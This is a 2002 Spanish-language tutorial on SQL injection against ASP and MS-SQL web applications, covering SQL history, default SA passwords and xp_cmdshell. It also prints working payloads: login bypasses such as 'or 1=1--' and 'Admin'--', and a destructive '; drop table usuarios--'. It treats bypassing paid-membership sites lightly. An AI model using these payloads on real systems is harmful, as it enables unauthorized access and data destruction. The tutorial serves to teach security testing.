Técnicas de SQL Injection: Un Repaso
(Versión 1.5)

Hernán Marcelo Racciatti
paper@hernanracciatti.com.ar
27/07/2002

http://www.hernanracciatti.com.ar

Indice

00. Introducción

El presente documento tiene como objeto informar a la comunidad hispana, acerca de una de las técnicas de intrusión mas utilizada durante el ultimo año.

Si bien la mayoría de la información vertida en este documento es a estas alturas de dominio publico, estoy convencido de que, el lector de nivel medio, se encontrara a gusto leyendo acerca de este tema en su propia lengua.
Por otro lado, entiendo que los usuarios mas avanzados serán capaces de encontrar a lo largo de este documento, algunos pasajes sumamente interesantes, así como un par de técnicas y herramientas utilizadas con éxito por los miembros de Raregazz Security

Team en sus investigaciones de pen testing, que le posibilitaran obtener un enfoque diferente respecto de esta vulnerabilidad y sus posibilidades.

A lo largo de este articulo, intentaré a su vez, introducir conceptualmente al lector en aspectos tales como el propio lenguaje SQL, a los efectos de que pueda sentirse cómodo al momento de realizar sus propios test.

01. Un Poco de Historia

a. SQL el Comienzo

A finales del año 1973 un grupo de personas trabajaba en los laboratorios de investigación de IBM Corporation, con el objetivo de desarrollar un lenguaje especifico que les permitiera acceder en forma estándar a aquellas bases de datos, que nacidas quizás bajo otro concepto comenzaban a adecuarse al denominado modelo relacional, el cual se perfilaba como un estándar de facto en la generación de modelos complejos de datos.

La primer etapa de este proyecto arrojo como resultado un lenguaje denominado SEQUEL por "Structure English Query Language" el cual fue evolucionando en forma acelerada convirtiéndose hacia el año 1977, primero en SEQUEL/2 y finalmente, por motivos legales, en SQL (Structural Query Language).

Pero no fue sino hasta entrados los años ochenta, momento en que IBM lanzara su producto de base de datos relacional DB2 orientado a equipos de rango medio / alto, que el lenguaje SQL se viera incorporado en la mayoría de los productos de este tipo (Sybase, Oracle y mas tarde Informix) para finalmente convertirse en un estándar ANSI en 1986 y en estándar ISO a fines de 1987.

Luego llegaría el turno de las revisiones SQL89 y SQL92, las cuales incorporaban mejoras sustanciales, y corregían algunos inconvenientes encontrados en versiones anteriores.

Hoy, a casi treinta años de su creación el "Pure SQL" ha demostrado que lejos de aquellos inicios como lenguaje embebido se ha convertido en una poderosa herramienta, capaz de manejar estructuras lógicas complejas así como cualquier tipo de dato imaginado, de hecho la versión en desarrollo del denominado SQL3 comparte tantos atributos con los lenguajes de programación convencionales, que hasta hay quienes se animan a considerar esta nueva versión como un verdadero lenguaje standalone.

b. Microsoft y su RDBM

Quizás a estas alturas cueste bastante recordar los momentos en que IBM y Microsoft, trabajaban juntos en el desarrollo de lo que sería el sucesor del mítico DOS. Por aquel entonces, aunque Microsoft por su cuenta, estaba trabajando en lo que seria la versión 3.0 de Windows (De alguna forma, la primera de las versiones populares de este sistema), la apuesta fuerte de ambas compañías estaba dada sobre OS/2, sistema sobre el cual se planeaba centrar la estrategia de servidores de PC para entornos de redes LAN.

Ahora bien, a principios de los 90, la relación que supieran conseguir ambas empresas comenzaba a ser un problema, debido a que no lograban ponerse del todo de acuerdo respecto de la visión técnica que cada uno tenia del producto que desarrollaban en conjunto, situación que desemboco finalmente en una decisión salomónica: IBM seguiría desarrollando una nueva versión de 0S/2, la 2.0 (Por aquel momento se encontraba en su versión 1.3) mientras que Microsoft trabajaría mas a futuro delineando lo que estimaban hacer conocer como OS/2 3.0

Lo cierto es que poco tiempo después de sellar este trato, y con la relación entre ambas empresas bastante deteriorada, se definió finalmente que IBM seguiría adelante con el desarrollo de OS/2 mientras que Microsoft, cambiaría el nombre del producto que estaba desarrollando de OS/2 3.0 a Windows NT.

En medio de este escenario, Microsoft comenzaba a comprender que su nuevo sistema operativo, requeriría de aplicaciones de negocios que aprovechen el potencial del nuevo desarrollo tecnológico.
Con esto en mente, aprovecho el desarrollo que se había estado haciendo con Sybase respecto a una Base de Datos Relacional que corriera originalmente en OS/2 y decidió portarlo a su plataforma Windows NT.

De esta forma en el año 1992 nacía la primer versión beta de MS-SQL, bajo el nombre "Microsoft SQL Server 4.2 for Windows NT" Versión 1, la cual no se empezaría a comercializar sino hasta entrado el año 1993.

Desde este momento, a través de la historia de Microsoft SQL, se fueron sucediendo varias versiones hasta llegar a la actual (SQL 2000), pero quizás alguno de los hitos mas importantes de esta carrera, se hayan producido en 1995 con el desarrollo de: SQL 6.0 en primera instancia, puesto que su antecesor no era mas que una versión del producto de Sybase portado a Windows NT, y luego con la aparición de SQL 7.0 en 1998 momento para el cual Microsoft re-escribiera la casi totalidad del código original heredado de versiones anteriores.

Ahora bien... llegamos a la actualidad, con Microsoft SQL en su versión 2000, pero... por que lo necesario de este resumen histórico? bueno, precisamente por el hecho de que si bien Microsoft realmente rescribiera prácticamente el código por completo de su Base de Datos al momento de lanzar SQL Server 7.0, parte de las vulnerabilidades que se han conocido a lo largo de la historia de esta herramienta, han estado en algunos casos, relacionadas con mecanismos heredados del viejo sistema de seguridad propuesto en el producto inicial, elemento que a pesar de estar resuelto a estas alturas, nunca debería ser dejado de lado al momento de evaluar conceptualmente la seguridad general de un producto de estas características.

02. Seguridad General en Ms-SQL

Como cualquier producto de plataforma, especialmente de Microsoft, creo poder afirmar sin temor a equivocarme que las instalaciones por defecto constituyen el principal punto critico en cualquier implementación de sistemas, sean estos de base u aplicativos, y por supuesto... SQL Server no es la excepción a esta regla.

Si bien inicialmente la posibilidad de inyectar sentencias SQL arbitrarias en, por ejemplo, formularios estándar publicados en un sitio web es de por si algo que obviamente no debería permitirse bajo ninguna condición, lo cierto es que el atacante de turno no lograra el control total del host en cuestión, al menos que, como suele ocurrir, el administrador no haya hecho bien su trabajo desde un principio (Cosa sorprendentemente común respecto de las instalaciones de MS-SQL Server, que nos ha tocado revisar en este ultimo tiempo)

En esta sección, intentare transmitirle algunos conceptos básicos acerca de aquellas vulnerabilidades mas importantes o escenarios conocidos respecto de MS-SQL que nos permitirán llegado el momento, evaluar el nivel de compromiso que se podrá lograr en el host objetivo, al hacer uso de técnicas de SQL Injection.

a. Cuentas por defecto

Tan antigua como la computadora en si, el riesgo de no administrar en forma adecuada las cuentas de sistema y servicios, hace que un alto porcentaje de instalaciones MS-SQL, se transformen automáticamente en presa fácil, en el mejor de los casos, de cualquier atacante en busca de algo de diversión.

En el caso de MS-SQL la cuenta maestra generada durante la instalación se denomina "SA" y como puede imaginarse por lo leído hasta ahora, la password por defecto es mmm... sencillamente " " (Blanco!!)

En contraposición a lo que la lógica supondría, cualquier atacante con nivel de acceso SA será capaz gracias a las ventajas (?) incorporadas de MS-SQL Server, de obtener acceso total no solo a la base de datos en si, sino también al sistema operativo con los máximos privilegios, haciendo uso por ejemplo, de los procedimientos extendidos.

b. NetLibs y Puertos por Defecto

MS-SQL implementa para las conexiones entre las partes, librerías de red o NetLibs a nivel de dll's, lo cual permite al administrador manejarse con soltura al momento de elegir el o los tipos de conexión con los cuales trabajar en su red.

A pesar de las variantes (SAN, AppleTalk, IPX/SPX, TCP, etc) la mayoría de los administradores optaran por utilizar aquellas que se instalan por defecto en una instalación estándar, las cuales son TCP/IP y Named Pipe.

A partir de este momento y a no ser que el administrador emprenda la ardua tarea (Esto corre por mi cuenta) de realizar cambios al respecto, un servidor MS-SQL Server, delatara su condición anunciándose en el puerto TCP 1443.

Ahora bien... cual es el problema con esto? mmm... digamos que ninguno en un entorno sobre el cual el administrador haya trabajado al menos un tiempo... pero la verdad es que esto no suele suceder.

Muy frecuentemente solemos encontrarnos con aplicaciones web que producto de un desarrollo sin bases en la seguridad, requiere del puerto estándar de MS-SQL a la escucha de cara a Internet, para funcionar correctamente.

En definitiva si combinamos esta condición con una mala políticas de contraseñas a nivel SQL (Por ejemplo una cuenta SA con password " ") seremos capaces no solo de implementar técnicas de inyección de SQL como las que veremos a lo largo de este documento, sino que también podremos, haciendo uso de herramientas convencionales, comprometer la integridad de TODOS los datos contenidos en la base de datos vulnerable...

Nota: *Mmm... seguramente alguien dirá por ahí que nos quedamos cortos al enunciar las formas de explotación en las condiciones arriba mencionadas lo cual es totalmente cierto... snnif de conexiones y otras artimañas bastaran para aprovecharnos aun mas del escenario descrito, aunque dejaremos estos temas para otra oportunidad...*

c. Desbordamiento de Buffer

Tal como menciona David Litchfield en su documento "Threat Profiling Microsoft SQL Server" "SQL Server es famoso por el numero de casos de Desbordamientos de Buffers encontrados en el pasado". Esto no significa que NO existan nuevos, tan solo que muchos de ellos fueron oportunamente identificados y solucionados por el proveedor.

Últimamente, cuestiones tales como el tratamiento de los envíos de paquetes a los puertos UDP de una instalación SQL Server estándar, o el mismo tratamiento indebido de algunos parámetros implementados en los procedimientos almacenados extendidos, hace que aun hoy sea posible explotar, en determinadas circunstancias estas vulnerabilidades.

Si bien dentro del alcance de este documento no se encuentra el análisis en profundidad de los desbordamientos de buffer en SQL, me parece importante mencionar que tal como se describiera en "Hacking Exposed: Windows 2000", los problemas de desbordamiento de buffer han sabido estar relacionados especialmente con la llamada al sistema "srv_paraminfo()".

A continuación una lista extraída precisamente de "Hacking Exposed: Windows 2000" (ISBN 84-481-3398-6) conteniendo los procedimientos que utilizan la llamada explotable:

xp_peekqueue
xp_printstatements
xp_proxiedmetadata
xp_setsqlsecurity
xp_sqlagentmonitor
xp_enumresultset
xp_showcolv
xp_displayparamstmt
xp_updatecolvbm

Solo en SQL 2000:

sp_oacreate
sp_oamethod
sp_oagetproperty
sp_oasetproperty
sp_oadestroy

03. SQL Comandos Básicos

Tal como su nombre lo indica, SQL es un lenguaje de consulta estructurado. A pesar de las diferencias existentes entre las implementaciones particulares (PL-SQL en el caso de Oracle, Transact-SQL en el caso de Microsoft) de cada uno de los proveedores, existe un grupo de comandos comunes a todas ellas, algunos de los cuales enunciaremos a continuación, al solo efecto de referenciarlos previa utilización de los mismos a lo largo de este documento.

Comandos DCL (Data Control Language Statements)	
GRANT	Utilizado para otorgar permisos.
REVOKE	Utilizado para revocar permisos.
DENY	Utilizado para denegar acceso.

Comandos DDL (Data Definition Language Statements)	
CREATE	Utilizado para crear nuevas tablas, campos e índices.
DROP	Empleado para eliminar tablas e índices.
ALTER	Utilizado para modificar las tablas agregando campos o cambiando la definición de los campos.

Comandos DML (Data Manipulation Language Statements)	
SELECT	Utilizado para consultar registros de la base de datos que satisfagan un criterio determinado.
INSERT	Utilizado para cargar lotes de datos en la base de datos en una única operación.
UPDATE	Utilizado para modificar los valores de los campos y registros especificados.
DELETE	Utilizado para eliminar registros de una tabla de base de datos

Cláusulas

Las cláusulas son condiciones de modificación utilizadas para definir los datos que desea seleccionar o manipular.

Cláusulas	
FROM	Utilizada para especificar la tabla de la cual se van a seleccionar los registros.
WHERE	Utilizada para especificar las condiciones que deben reunir los registros que se van a seleccionar.
GROUP BY	Utilizada para separar los registros seleccionados en grupos específicos.
HAVING	Utilizada para expresar la condición que debe satisfacer cada grupo.
ORDER BY	Utilizada para ordenar los registros seleccionados de acuerdo con un orden especifico.

Operadores de Comparación	
<	Menor que
>	Mayor que
<>	Distinto de
<=	Menor o igual que
>=	Mayor o igual que
=	Igual que
BETWEEN	Utilizado para especificar un intervalo de valores.
LIKE	Utilizado en comparación de un modelo
IN	Utilizado para especificar registros de una base de datos

Ejemplos:

```
SELECT * FROM Tabla;
```
(Esta consulta devuelve un recordset con todos los registros de la tabla "Tabla")

```
UPADTE Tabla SET password = 'Juajuajua' WHERE user =
'admin'
```
(Esta sentencia actualizaría el campo password para el user admin, con el valor indicado)

Ahora bien, un dato importante a destacar del lenguaje SQL, es la forma en que ejecuta las instrucciones, puesto que este punto es fundamental a la hora de construir sentencias a inyectar.

Independientemente de la complejidad de la sentencia SQL construida, esta siempre se ejecutara por partes. Para entenderlo gráficamente, podríamos relacionar este funcionamiento con la ejecución de un proceso batch, en el cual las instrucciones se ejecutan secuencialmente una detrás de otra, cuando en realidad uno llamo a ejecutar el lote como un todo.

Si bien esta aclaración, puede resultar trivial en este momento, es muy importante tener en cuenta este procedimiento puesto que como veremos a lo largo de este documento, en el mismo radica uno de los principales motivos que hacen que la técnica de inyección de SQL sea posible.

04. SQL Injection

a. Introducción

Si tuviéramos que categorizar de alguna forma este tipo de ataques, seguramente muchos decidiríamos incluirlo dentro del grupo de los denominados "Ataques o Vulnerabilidades de Control de Entrada", puesto que en definitiva, no es mas que la posibilidad de, concretamente, insertar sentencias SQL arbitrarias, dentro de una

consulta previamente establecida, con el objetivo de manipular de una u otra forma los procesos lícitos de una aplicación determinada.

Si bien el recurso de explotar validaciones de entradas pobremente construidas, no es para nada novedoso dentro del ambiente de la seguridad informática, este tipo de ataques en particular tiene connotaciones diferentes desde el punto de vista del nivel de penetración que se puede lograr muchas veces con solo disponer de un explorador de Internet y algunos conocimientos básicos respecto de esta vulnerabilidad.

A los efectos de manejar un lenguaje común a lo largo de este documento, he denominado *"Nivel de Compromiso"* o *"de Impacto"* precisamente, a los diferentes tipos de interacción que pueden lograrse haciendo uso de las técnicas descriptas. En concordancia con esto, y con el objetivo de lograr dotar de algún tipo de practicidad adicional respecto del uso de este documento, daremos tratamiento puntual a cada uno de los *"Niveles de Compromiso o Impacto"*, bajo los siguientes enunciados:

- Efectos de acuerdo a Privilegios de la cuenta
- Ataques DoS por medio de SQL Injection
- Obtención de Información en la etapa de enumeración
- Exploración y Manipulación de los datos lícitos
- Compromiso Total del Host

De la misma forma, intentaremos ejemplificar de que forma y con que grado de trabajo por parte del atacante se puede lograr el compromiso del objetivo en sus diferentes niveles.

b. Alcance

Si bien la técnica conocida como "SQL Injection" no es atributo únicamente de la base de datos de Microsoft MS-SQL, lo cierto es que gracias a la potencialidad adicional con la que la empresa de Redmon, ha dotado a esta herramienta, hace que la misma sea directamente proporcional al control que puede tomar un atacante habiendo logrado explotarla con éxito.

Esto no significa que el resto de las bases de datos mas populares no se vean alcanzadas por algunos de las falencias que veremos en los próximos párrafos, solo que en mi opinión, generalmente lo harán en una escala de riesgo inferior.
Este es el motivo por el cual hemos decidido centrar este documento específicamente en escenarios que incluyan sistemas Windows corriendo Internet Information Services junto a aplicaciones web desarrolladas en ASP interactuando con bases de datos MS-SQL, lo cual puede considerarse un estándar del mundo Windows en lo que refiere a implementación de servidores web en Internet.

c. Detectando El Problema

Aun recuerdo que una de las características que mas llamo mi atención desde un primer momento de esta vulnerabilidad, fue la sencillez respecto de las herramientas y metodologías necesarias para detectar o explotar con éxito la misma.

El hecho de que hoy en día sea casi impensable la publicación de un sitio web que carezca de interactividad, no hace mas que dibujar una enorme sonrisa en la cara de muchos de aquellos quienes poseemos una curiosidad ilimitada.

Esto se debe principalmente a que en la mayoría de los casos, esta interactividad se encuentra implementada a nivel de base de datos, lo cual abre un espectro enorme desde el punto de vista del atacante, pues ahora no solo podrá aprovechar las vulnerabilidades propias del sistema operativo o incluso del servidor web, sino que también podrá hacer lo propio con los defectos del sistema de base de datos implementado.

Todo el tiempo solemos encontrarnos con formularios web, de consultas On Line, encuestas ordenes de pedido, suscripciones a servicios, y sobre todo formularios de autentificación donde se nos invita amablemente a ingresar nuestro nombre de usuario y contraseña.

Ok, pues como habrán adivinado toda esta funcionalidad terminara en la mayoría de los casos en el armado de una consulta que será pasada como argumento a una base de datos operando en background, la cual será la encargada de extraer los datos correctos y presentar al usuario final el resultado de la misma.

Entonces, dicho lo anterior... un buen lugar para empezar a buscar seria en principio todo sitio web corriendo algún tipo de consulta como las comentadas en el párrafo anterior, una vez allí incluso podríamos revisar el código html simple en busca de algo como esto:

```
<FORM action=logon/logon.asp method=post>
<input type=hidden username=_UserName password=_Password>
</FORM>
```

Este fragmento de código, básicamente postea los datos ingresados a una pagina ASP para que la misma resuelva la consulta, interactuando con la base de datos (Practica muy común en entornos donde se utiliza una combinación de formulario HTML, que llama a una pagina ASP la cual instrumenta la conexión a la base de datos, genera la consulta a partir de los datos ingresados en el formulario HTML y devuelve el recordset correspondiente). En definitiva muy probablemente, al final del camino, nuestro ingreso se haya convertido en algo así:

```
select * from users where username = _UserName and
password = _Password
```

Ahora bien... que sucede si el sitio en cuestión, no utiliza por cuestiones de seguridad, formularios activos en sus paginas?? bueno... para ser sincero así y todo, seguramente si el sitio devuelve contenido de acuerdo a por ejemplo, una selección del usuario,

muy probablemente si miramos con atención la barra de dirección de nuestro explorador encontremos una URL construida de forma similar a esta:

```
http://www.objetivo.com/libreria.asp?edicion='Noviembre'
```

Puntualmente en este caso, este URL podría haber sido el resultante de una selección del usuario respecto a la opción que haya presentado una home page donde se distribuyen publicaciones mensuales de tecnología (XD). Habiéndose seleccionado la opción 'Noviembre' esta será pasada como un valor o parámetro a la página ASP que decidirá acerca del destino del contenido dinámico. En este caso, muy probablemente parte del trabajo a cargo de la pagina libreria.asp pase precisamente por transformar esta selección del usuario en algo que en definitiva se vera igual a esto:

```
select * from numeros_anteriores where edicion =
'Noviembre'
```

Resumiendo, puesto que en ambos casos finalmente se esta elaborando una consulta SQL "al vuelo", podríamos asumir que si de alguna forma pudiéramos interrumpir la consulta original, inyectar el código de nuestra elección y asi y todo hacer que la base de datos procese esta secuencia, estaremos en presencia de un ataque de inyección de SQL.

Ahora veamos como podemos testear finalmente si los ejemplos mencionados son o no, realmente susceptibles de ser inyectados. Para ello, haremos uso del caracter ' (Comilla Simple) el cual utilizado en medio de una consulta nos posibilitara precisamente interrumpir la misma para comenzar a trabajar sobre la inyección del código.

La ' (Comilla Simple) es interpretada por Microsoft SQL Server como identificador o terminador de caracteres, el punto es que una comilla simple adicional provocara que la sentencia a ejecutar se encuentre malformada sintácticamente lo que conllevara a un error el cual, será un primer indicio de que la aplicación en cuestión es susceptible a un ataque de Inyección SQL.

Veamos un ejemplo de como quedarían entonces las consultas anteriores luego de haber utilizado el formulario de login en un caso y la edición de la barra de dirección en otro para insertar nuestro caracter de la suerte, la comilla simple:

```
Usuario  : An'gel
Password : 338xD
```

```
select * from users where username = 'An'gel' and
password = '338xD'
```

```
select * from numeros_anteriores where edicion =
'N'oviembre'
```

En ambos casos lo que sucederá al momento de que estas sentencias sean procesadas por el motor SQL Server, es que el mismo interpretara, en primera instancia que el string pasado como argumento comienza detrás de la primer comilla simple y termina con la segunda comilla simple:

```
username = 'An'
edicion = 'N'
```

Luego, siguiendo con el criterio que comentáramos en alguno de los párrafos anteriores, el motor SQL, fiel a su naturaleza, intentara ejecutar el resto de la consulta lo cual dará como resultado un error, puesto que lo que queda detrás de la comilla simple por nosotros inyectada, no significa nada para el SQL Server.

Ahora bien... que pasaría si la construcción del código inyectado fuera algo mas que caracteres sin sentido como 'An' y 'N' ??

En resumen, llegado este punto hemos visto que cualquier sitio con algún nivel de interactividad a través de base de datos ya sea por medio del uso de formularios o por medio del pasaje de parámetros conformadas en una URL, seria susceptible al menos, de permitirnos interrumpir la consulta realizada en vuelo, utilizando el artilugio de la comilla simple.

Esto será definitivamente cierto, salvo en aquellos casos donde el administrador o los desarrolladores del sitio objetivo hayan trabajado en sus desarrollos webs teniendo en mente las bases de la programación segura, para el caso... preprocesar las consultas eliminando los caracteres nocivos, a los efectos de que la consulta llegue limpia a la base de datos.

En definitiva, en aquellos casos donde producto de el ingreso de la comilla simple, se nos devuelva una pagina de error, probablemente tengamos algún grado de éxito inyectando código arbitrario.

Finalmente deberíamos también, estar preparados para encontrarnos con servidores de Internet, que atrapen el error real comunicando al usuario un error estándar (Ejemplo de esto es el error 500 http de "Error Interno del Servidor"). Muchas veces este también es signo, de que la inyección SQL puede ser viable en estos equipos, aunque su correcta explotación requerirá de bastante mas trabajo ya sea utilizando técnicas como las descriptas por Cesar Cerrudo, en su trabajo "Manipulating SQL Server Using SQL Injection" (Ver 08. Referencias y lecturas complementarias) o utilizando un analizador de paquetes para escuchar el trafico generado al momento de enviar o recibir los paquetes generados por la conexión auditada.

Nota: *El efecto de la utilización de la comilla simple como elemento de testing en las aplicaciones web, debería presentar resultados diferentes deacuerdo a varios factores relacionados a la implementación del site engeneral.*

De la misma forma, los resultados cambiaran de acuerdo al TIPO de campo (Numérico / Alfanumérico) en el que se esta queriendo realizar la inyección.
Un buen ejemplo de esto es, el hecho de que generalmente en campos numéricos probablemente no haga falta incluir una comilla simple para lograr que se ejecute con éxito el código inyectado, SQL server en la mayoría de los casos, tan solo seguirá con la ejecución de la próxima sentencia, en este caso, la inyectada.

d. Lista de Compras
Bien, acabamos de ver de que forma, haciendo uso de la comilla simple tanto usted, como un atacante se encuentran habilitados para testear su aplicación web en busca de formularios susceptibles de ser inyectados, pero.. como llega un atacante a nuestro site? ... sencillo... en la mayoría de los casos, y al menos que se trate de algo planeado con premura, nuestro atacante utilizara algún buscador (Preferentemente "google") para buscar cadenas que coincidan con strings del tipo: "login.asp" obteniendo tan solo en unos segundos su preciada "Lista de Compras" a partir de la cual intentara dar con un objetivo valido.

e. Acceso a través del web a sitios restringidos
Una de las virtudes de las técnicas de SQL Injection, es la facilidad con la que se puede lograr acceso a aquellos sitios, que implementan paginas de control de acceso en HTML, ASP, etc, las cuales a su vez requieren a posterior una conexión a un SQL Server. Claro esta que para esto deberemos, cuando menos, encontrar algún sitio vulnerable, es decir, por ejemplo, alguno en donde no se haya trabajado en forma adecuada, en la validación de entrada de sus formularios (Ver "d. Lista de Compras").

Si bien, este "nivel de compromiso" en la mayoría de los casos parecería ser inofensivo, este seguro que será bien recibido por la mayoría de los curiosos usuarios que, por ejemplo, no se sienten a gusto pagando por el acceso a sitios con membresía.

En este ultimo tiempo hemos encontrado, una gran cantidad de sitios vulnerables en este primer nivel de compromiso. Si bien en algunos casos el acceso obtenido de esta forma, NO brindaba control total del host, en todos los casos fue suficiente para husmear mas de la cuenta, o inclusive para pasar automáticamente a convertirnos en administrador del sitio web (Esto es cambiar contenidos, cambiar vínculos dinámicos, subir archivos y un largo etc...)

Recuerde que TODA información, derivada de intrusiones "menores" es muy útil para que los atacantes mas avezados programen un ataque mas elaborado.

Para darle una idea respecto al alcance de este nivel de compromiso, me gustaría comentar, sin puntualizar algunos hipotéticos accesos que imagino como factibles de lograr haciendo uso de esta técnica, así como también el tipo de información al que se podría acceder:

Posible Sitio Afectado	Posible Información a Obtener
Una de las principales academias de estudios tecnología de redes, On-Line.	Programas de estudio, Solicitud de Evaluaciones On-Line, Manuales o Documentación de cursos y certificaciones de tecnología, Paginas especiales diseñadas para que un instructor revise y apruebe los exámenes parciales y finales de sus alumnos.
Uno de tantos sitios de pornografía amateurs en donde se producen encuentros.	Bueno, mmm... para que contarle... jajaj Hablando en serio... mucha gente suele dejar sus datos completos en estos sitios para establecer contactos, lo cual hace que la situación en ellos, sea algo sumamente delicado desde el punto de vista de la confidencialidad e integridad.
Galería de cines y entretenimientos	Acceso total como administrador de contenidos del sitio, con libre campo de acción para cambiar información de carteleras, cambiar imágenes de productos y tarifas, e incluso subir archivos desde nuestro pc.

Pero... usted se estará preguntando como opera esta magia? bien, como hemos visto en los párrafos anteriores, la comilla simple (" ' ") opera de forma muy particular desde el punto de vista del atacante en formularios web mal validados.

Valiéndonos de este conocimiento y de algún otro respecto a la construcción de sentencias lógicas en SQL podríamos entonces presumir una forma en la que el acceso a un sitio restringido nos sea otorgado.

Puesto que en la mayoría de los casos las implementaciones de autenticación codificadas en la web en formato HTML o ASP, no difieren mucho de site en site podríamos decir sin temor a equivocarnos que en las mas de las veces, el ingreso del par de USUARIO y PASSWORD solicitado será traducido generalmente por una página .ASP quien elaborara la consulta y la enviará al SQL. También podríamos suponer que finalmente la consulta a resolver por SQL tendrá una sintaxis similar a la comentada en alguno de nuestros primeros ejemplos.

Pero veamos un ejemplo concreto. Este es un fragmento extraído de un sitio web vulnerable, dedicado a la pornografía:

```
---- Extracto -----------------------------------------

<FORM action=ingreso.asp method=post>
<TABLE cellSpacing=1 cellPadding=3 width=440
bgColor=#ffffff border=0>
<TBODY>
<TR bgColor=#ff0066>
<TD><B><FONT face="Arial, Helvetica, sans-serif"
```

```
size=2>Nombre</FONT></B></TD>
<TD><B><FONT face="Arial, Helvetica, sans-serif"
size=2>Clave</FONT></B></TD></TR>
<TR bgColor=#ffcccc>
<TD><INPUT name=USERNAME> </TD>
<TD><INPUT type=password value="" name=PASSWORD>
</TD></TR>
<TR align=middle bgColor=#ff0066>
<TD colSpan=2><INPUT type=submit value=INGRESAR!
name=SUBMIT>
</TD></TR></TBODY></TABLE><BR><BR></FORM></TD>
<TD vAlign=top align=left width=10> </TD>
<TD vAlign=top align=left width=140>
<TABLE cellSpacing=0 cellPadding=0 width=140 border=0>
<TBODY>

---- Extracto ----------------------------------------
```

Podemos notar que el formulario realiza lo típico, el HTML toma los datos, y los empuja a un pagina .ASP (Para este caso, ingreso.asp)
Ahora bien, supondremos que el trabajo realizado por ingreso.asp, no dista mucho de lo que venimos comentando hasta el momento para casos similares, con lo cual estaremos estimando que finalmente el SQL server detrás de esta web estará recibiendo algo como lo que ya hemos visto al principio de este documento:

```
select * from users where username = 'Angel' and password
= '338xD'
```

Por supuesto que este usuario y password que he elegido arbitrariamente no existen en la base de datos que utiliza el site para autentificarme. He aquí donde nuevamente empieza lo divertido.

Recuerda cuando mencionábamos mas arriba la forma respecto de como se comportaba el SQL al momento de ejecutar una sentencia? Ok, aprovechándonos de este funcionamiento podríamos intentar completar nuestra inyección de código en los campos de usuario y contraseña con algo como esto `'or 1=1–`

```
Usuario  : 'or 1=1--
```
Password : 'or 1=1—

Fijémonos entonces, como quedaría la sentencia completa luego de haber inyectado la porción de código anterior:

```
select * from users where username = ' or 1=1-- and
password = ' or 1=1--
```

Note que puesto que siempre existirá una de las condiciones del "OR" que se cumpla, el sistema siempre devolverá un recordset valido (Muchas veces la tabla completa) , otorgando en la mayoría de los casos acceso a los sectores protegidos del site atacado.

Nota: *También debería probar otras variantes de inyección de características similares a la anteriormente citada. Una que suele dar bastante resultado es:*

```
Usuario  : 'OR''='
Password : 'OR''='
```

Básicamente la lógica es la misma que en el caso anterior, pero nos ahorramos un par de caracteres :)

Como habrá notado, hemos incorporado a esta nueva inyección un nuevo juego de caracteres "especiales", en este caso se trata del " -- " (Doble Guión) el cual es interpretado por SQL como el comienzo de un comentario, el cual nos será de utilidad de ahora en mas, para indicar a el motor SQL que ignore todo lo que venga a continuación del código inyectado.

Si bien esta sencilla técnica puede asegurar horas de diversión a quien tenga tan solo un explorador y una copia de este documento, sin duda, desde el punto de vista practico, un atacante con un poco mas de ambiciones, intentara conseguir un acceso similar, pero utilizando un usuario privilegiado.

Siguiendo con el ultimo ejemplo, si nosotros sospecháramos de que existe en el sistema objetivo, algún usuario con el identificador "Admin" o "root" se podría inyectar algo como esto:

```
Usuario  : Admin'--
Password : 'or 1=1--
```

En teoría, la sentencia que se construiría en este caso seria algo parecido a:

```
select * from users where username = 'Admin'-- and
password = ' or 1=1--
```

Si esto fuera así y siguiendo el criterio del ejemplo anterior, probablemente hayamos golpeado a la puerta correcta.

En resumen, hemos visto brevemente como haciendo uso de los caracteres " ' "
(Comilla simple) para interrumpir la consulta en curso y " -- " (Doble Guión) para evitar que la sentencia inyectada termine en error de sintaxis, podemos obtener acceso

a sitios "restringidos" mediante validaciones web tradicionales, acción que nos coloca a las puertas del siguiente *"nivel de compromiso"*.

f. Efectos de acuerdo a Privilegios de la cuenta

Antes de entrar en mas detalles respecto de las facilidades al momento de explotar SQL por medio de inyección de código, seria conveniente establecer que nivel privilegios podremos obtener en las diferentes circunstancias de testing que puedan presentarse.

Como en la mayoría de los ataques de su tipo, el código inyectado, correría en el host afectado, bajo el mismo "contexto de seguridad" que se haya configurado para la aplicación donde se pretenda inyectar las sentencias especialmente construidas.
Puesto que por lo general (Como en todo hay excepciones...), los desarrolladores de aplicaciones, no se encuentran capacitados en cuestiones de seguridad, al igual que quienes comúnmente implementan soluciones de bases de datos, y puesto que muchas veces el proceso de desarrollo de, por ejemplo, un sitio de Internet conlleva a la interacción de diferentes departamentos los cuales muchas veces solo se limitan a hacer su trabajo particular, sin ver su impacto en el conjunto, es muy frecuente encontrarnos con aplicaciones corriendo sobre cuentas de máximo privilegio, o programadores que descansan la seguridad de la aplicación en el administrador del sistema operativo.

A los efectos de describir puntualmente las diferentes consecuencias, respecto del nivel de privilegio de las cuentas utilizadas en el desarrollo de aplicaciones me he permitido citar un pequeño cuadro publicado en www.sqlsecurity.com el cual define claramente lo comentado en estos párrafos:

Nivel de Privilegio	Consecuencias
sa	Control Total del SQL Server, incluyendo una shell a nivel de sistema operativo, con los privilegios del servicio MSSQLSERVER, usando el "procedimiento almacenado extendido" xp_cmdshell. Habilidad de leer, escribir y "mutilar" todos los datos almacenadas en la base de datos SQL Sever.
db_owner	Habilidad de leer / escribir datos en la base de datos afectada. Habilidad de eliminar tablas, crear nuevos objetos, y generalmente tomar control total de la base de datos afectada.
Usuario Normal	Habilidad de acceder a todos los objetos en la base de datos para la cual se ha otorgado acceso a la cuenta. En el mejor de los casos esto puede significar poder correr algún procedimiento almacenado. En el peor de los casos, esto puede significar acceso de lectura / escritura en todas las tablas y vistas.

g. Ataques DoS por medio de SQL Injection

Los ataques de Denegación de Servicio, en general, son uno de los mas dañinos tanto, desde el punto de vista de las consecuencias directas (Caída del Host u Aplicación) como de las indirectas (En este caso me refiero a aquellas que suceden luego de haberse producido la caída en si, por ejemplo el uso del reinicio de un servicio para su reemplazo por uno troyanizado, etc)

A diferencia de las construcciones de sentencias que hemos visto hasta el momento, la que veremos a continuación, puede causar algún problema grave que actúe de forma tal que a partir de sucedido, niegue por ejemplo, el acceso a los usuarios que ilícitamente han pagado por este servicio.

En el nivel mas simple, un cracker al encontrarse con un sencillo formulario de acceso, vulnerable a la inyección SQL, podría intentar por ejemplo, inducir al motor, a que ejecute una sentencia similar a esta:

```
Usuario  : '; drop table usuarios--
Password :
```

